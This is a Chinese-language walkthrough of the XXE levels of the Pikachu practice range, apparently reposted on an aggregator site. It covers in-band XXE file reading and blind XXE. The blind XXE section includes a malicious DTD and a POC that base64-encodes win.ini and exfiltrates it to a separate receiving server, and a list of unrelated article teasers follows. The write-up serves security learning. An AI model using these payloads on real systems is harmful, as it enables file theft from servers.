pikache靶场通关——XXE

news2024/11/8 21:39:03

文章目录

  • 前言
  • 一、有返回显示XXE
    • 1、在输入框输入随机数据,抓包
    • 2、在BP数据包和靶场中各尝试使用正确的XML格式重新输入
    • 3、使用BP进行URL编码,利用XXE来读取系统文件
  • 二、无回显XXE
    • 1、模拟使用的机器
    • 2、修改代码实现靶场无回显
      • 2.1、修改靶场代码,让其实现无回显
      • 2.2、在靶场输入数据,抓包测试
    • 3、开始复现
      • 3.1、利用DNSLog来测试XXE是否存在
      • 3.2、创建一个恶意dtd文档,构造读取方式
      • 3.3、在接受服务器开启server服务
      • 3.4、在BP中构造POC重发送
      • 3.5、POC讲解


前言

关卡样式:
在这里插入图片描述


一、有返回显示XXE

1、在输入框输入随机数据,抓包

输入123,查看结果:
在这里插入图片描述
输入123后,显示上图数据,说明这里输入的XML格式错误

查看抓取的数据包:
在这里插入图片描述
抓到的数据包如上

2、在BP数据包和靶场中各尝试使用正确的XML格式重新输入

输入的XML格式:

<?xml version="1.0"?>
<!DOCTYPE foo[
<!ENTITY xxe "正确的XXE输入">]>
<foo>&xxe;</foo>

在BP数据包中修改后重发送
在这里插入图片描述
发现还是报错。

在靶场中输入:
在这里插入图片描述
这里发现竟然输入正确了。

这其中有什么区别呢?使用BP抓包看一看
在这里插入图片描述
这里发现被URL编码了
在这里插入图片描述

3、使用BP进行URL编码,利用XXE来读取系统文件

在这里插入图片描述
在这里插入图片描述
这里就成功读取到指定的文件内容了。


二、无回显XXE

1、模拟使用的机器

这里需要使用3台机器模拟:

  • 攻击机:192.168.43.130
  • 靶机:192.168.43.131
  • 模拟外网接收服务器:192.168.43.129

2、修改代码实现靶场无回显

2.1、修改靶场代码,让其实现无回显

在这里插入图片描述

2.2、在靶场输入数据,抓包测试

在这里插入图片描述
在这里插入图片描述
这里地区实现无回显了。

3、开始复现

3.1、利用DNSLog来测试XXE是否存在

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

返回DNSLog查看
在这里插入图片描述
的确接收到了,这就说明XXE是存在的。

3.2、创建一个恶意dtd文档,构造读取方式

在这里插入图片描述
注意:这里的IP地址是写模拟外网接收服务器的IP地址
POC:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/windows/win.ini">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.43.129?c=%file;'>">

接着就把这个文件改成dtd格式,放置到模拟外网接收服务器中

在这里插入图片描述

3.3、在接受服务器开启server服务

开启位置是放置dtd的文件夹
在这里插入图片描述

3.4、在BP中构造POC重发送

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在接受服务器就看到上图的信息,把“c=”后面的数据复制出来,进行BASE64解码
在这里插入图片描述
解码后就得到我们想得到的信息。

POC:

<?xml version="1.0"?>
<!DOCTYPE foo [
	<!ENTITY % xxe SYSTEM "http://192.168.43.129/123.dtd">
	%xxe;%int;%send;
]>

注意:上面需要在xxe实体前加上%才能引用,还有不要忘记分号(;)

3.5、POC讲解

很多人会疑问:%xxe;%int;%send;究竟是什么意思?

其实这里第一个%xxe;就是指向dtd文件
在这里插入图片描述

第二个%int;就是指向构造的XML语句
在这里插入图片描述

第三个send;就是指向我们要读取的目标文件
在这里插入图片描述
在这里插入图片描述


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1164528.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

运维常识——网络

内网&#xff0c;公网IP 内网IP为专网IP 因为网络资源&#xff08;IP地址不够&#xff0c;所以引出来了内网IP和IPv6&#xff09; 内网IP和公网IP之分是为了减缓IP地址不够使用的情况 一般设置代理服务器 设置两张网卡 一张对外一张对内 内部主机将数据转发到内网卡&#…

TSINGSEE智慧安防:AI人员入侵检测算法的工作原理及应用场景概述

人员入侵检测算法基于视频分析技术&#xff0c;自动对视频画面进行分析识别&#xff0c;可以对危险区的人员闯入、靠近等行为进行实时进行检测并预警&#xff0c;无需人工干预&#xff0c;协助管理者对场所的安全问题进行监管&#xff0c;可以广泛运用在学校、园区、工地、车站…

SDK是什么

SDK 是“Software Development Kit”&#xff08;软件开发工具包&#xff09;的缩写&#xff0c;它是一组用于开发特定软件应用、硬件平台、计算机系统或操作系统的开发工具的集合。SDK 通常包括一组开发工具、库、文档和示例代码&#xff0c;以帮助开发者更快地开发和部署应用…

桶装水订购小程序开发怎么做?一步步教你制作

随着互联网的快速发展&#xff0c;越来越多的消费者通过线上订购桶装水&#xff0c;以方便快捷地满足日常用水需求。为了满足这一需求&#xff0c;开发一款桶装水订购小程序成为必要。下面将一步步指导你如何制作这款小程序。 1. 登录乔拓云平台后台&#xff0c;进入商城管理页…

就业形势严峻 求职者如何提高竞争力

就业形势严峻&#xff0c;尤其是对于即将毕业的学生来说&#xff0c;找工作的秋招已经过去大半了&#xff0c;春招机会也不那么多了&#xff0c;如何提高自己的竞争力&#xff1f; 其实不论形势怎么严峻&#xff0c;其实归根结底无非是个竞争关系&#xff0c;如何提高竞争力才…

计算机基础知识43

属性选择器 # 通过标签的属性来查找标签&#xff0c;标签都有属性&#xff0c; id值和class值是每个标签都自带的属性&#xff0c;还 有另外一种&#xff1a;自定义属性 <div class"c1" id"d1" usernamekevin password123></div> # 针对于…

中国移动发布《新型智慧城市白皮书》(2023版)

加gzh“大数据食铁兽”&#xff0c;回“20231101”&#xff0c;获取材料完整版 导读 通过本系列白皮书&#xff0c;我们系统的阐述了中国移动对中国智慧城市发展趋势&#xff0c;并对中国移动服务智慧城市建设六大核心能力进行了介绍&#xff0c;详细说明了中国移动智慧城市…

opencv复习(简短的一次印象记录)

2-高斯与中值滤波_哔哩哔哩_bilibili 1、均值滤波 2、高斯滤波 3、中值滤波 4、腐蚀操作 卷积核不都是255就腐蚀掉 5、膨胀操作 6、开运算 先腐蚀再膨胀 7、闭运算 先膨胀再腐蚀 8、礼帽 原始数据-开运算结果 9、黑帽 闭运算结果-原始数据 10、Sobel算子 左-右&#x…

闹了个乌龙,Lattice文档写反了(FTUSB-0)

日常唠嗑 好久没唠嗑了&#xff0c;进入正文前&#xff0c;讲点打工心得。 打工是真的会磨人心志&#xff0c;也不是上班说有多累&#xff0c;主要是深圳通勤一般比较长&#xff0c;我在南山上班&#xff0c;住宝安&#xff0c;早上地铁加步行一般一小时。最近晚上经常睡…

vue3+ts 提取公共方法

因为好多页面都会使用到这个效验规则&#xff0c;封装一个校检规则&#xff0c;方便维护 封装前 封装后

2023云栖大会:属于开发者的狂欢

就在10月31日这天&#xff0c;杭州云栖小镇热闹非凡&#xff0c;第八届云栖大会在杭州云栖小镇盛大举行。这次大会以“聚焦大模型与生成式AI”为主题&#xff0c;开发者们齐聚一堂&#xff0c;共同探讨前沿技术趋势&#xff0c;以及如何将这些技术应用到实际业务场景中。 当然…

ROS架构:文件系统 - 计算图

一、ROS架构简介 立足不同的角度&#xff0c;对ROS架构的描述也是不同的&#xff0c;一般我们可以从设计者、维护者、系统结构与自身结构4个角度来描述ROS结构: 1. 设计者 ROS设计者将ROS表述为 ROS Plumbing Tools Capabilities Ecosystem Plumbing&#xff1a;通讯机…

concat和group_concat的区别

首先 concat 和 group_concat 都是用在sql语句中做拼接使用的&#xff0c; 但是 concat是针对以行数据做的拼接&#xff0c; 而group_concat是针对列做的数据拼接&#xff0c;且group_concat默认自动生成逗号分隔。 示例&#xff1a; 1、GROUP_CONCAT 默认生成逗号拼接数据 S…

神经网络多种注意力机制原理和代码讲解

多种注意力表格&#xff1a; 大神参考仓库链接&#xff1a; 魔鬼面具 对应 name 就是目录&#xff0c;点击即可跳转到对应学习。 nameneed_chaneelpaper SE (2017) Truehttps://arxiv.org/abs/1709.01507 BAM (2018) Truehttps://arxiv.org/pdf/1807.06514.pdf CBAM (2018) Tr…

百度竞价排名推广对比自然排名哪一个更具优势-华媒舍

在搜索引擎结论网页页面&#xff08;SERP&#xff09;中&#xff0c;我们经常会看到一些网站链接及其广告栏。这种连接一般分为两种类型&#xff1a;百度竞价推广排名推广与自然排名。究竟哪个更有优势&#xff1f;本文将对这几种排名形式进行科谱详细介绍。 什么叫百度竞价推广…

YOLOv8将注意力机制融合进入C2f模块

1. 引言 1.1 YOLOv8添加注意力机制方法 yolov8添加注意力机制是一个非常常见的操作&#xff0c;常见的操作直接将注意力机制添加至YOLOv8的某一层之后&#xff0c;这种改进特别常见。 示例如下&#xff1a; 新版yolov8添加注意力机制&#xff08;以NAMAttention注意力机制为例…

BulkInsert in Entity Framework

实体框架中的 BulkInsert 扩展方法 安装 Z.EntityFramework.Extensions&#xff1a; 现在&#xff0c;我将向您展示如何使用 Z.EntityFramework.Extensions 包&#xff0c;以及如何通过 Entity Framework 执行批量插入、更新和删除操作。首先&#xff0c;打开“NuGet 包管理器…

Linux驱动 编译乱序和执行乱序

编译乱序 现代的高性能编译器在目标码优化上都具备对指令进行乱序优化的能力。编译器可以对访存的指令进行乱序&#xff0c;减少逻辑上不必要的访存&#xff0c;以及尽量提高Cache命中率和CPU的Load/Store单元的工作效率。 因此在打开编译器优化以后&#xff0c;看到生成的汇编…

JAVA亡了?那么多岗位去哪了?

1.java现在有多卷&#xff1f; 虽然近年来出现了许多其他编程语言和技术。但JAVA依旧是热度最高的。它仍然被广泛用于大型企业应用、后端开发、Android应用开发以及嵌入式系统等领域。此外&#xff0c;Java在大数据、云计算和物联网等新兴领域也有着重要的地位。 因此&#x…